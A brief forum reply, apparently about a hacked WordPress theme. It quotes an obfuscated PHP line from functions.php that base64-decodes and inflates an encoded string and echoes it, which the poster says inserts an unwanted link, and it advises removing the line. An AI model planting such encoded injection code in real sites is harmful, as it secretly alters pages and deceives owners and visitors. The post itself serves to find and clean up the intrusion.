I have had the same problem and only just figured it out. I found the encoding to insert the link in the functions.php file, it looks similar to this:
$S4f4e047ea70212e03acd18f52163e289='fZBBSwMxEIXPu7D/YRiEJlBbz8r2UlY8qJVa8RimTdoGs0nIpoYi/nd343oqeBvmvTffY6qSpBS0i9pZhkrqKLzrIk5R206FKOJRtUoYbT+Q31Xl/mSzFy5kxuGrKouDcVsycJW83Pb+Qu9Znq8XBxXFJwWGr81js9zAcvX2vGFDVGjJ4X69eoLROiw7eH9o1g1kwymYenKM0d/O5ymlmQ/O9/hzIkOznWsnyOv6hve8InkxdsutKAQ6M8xXLLUKoV4Avox5nAL+AX6VfyAIfHjBd1X+AA==';Echo(gzinflate(base64_decode($S4f4e047ea70212e03acd18f52163e289)));
Remove that and it should stop the nasty embedding, hope that helps.
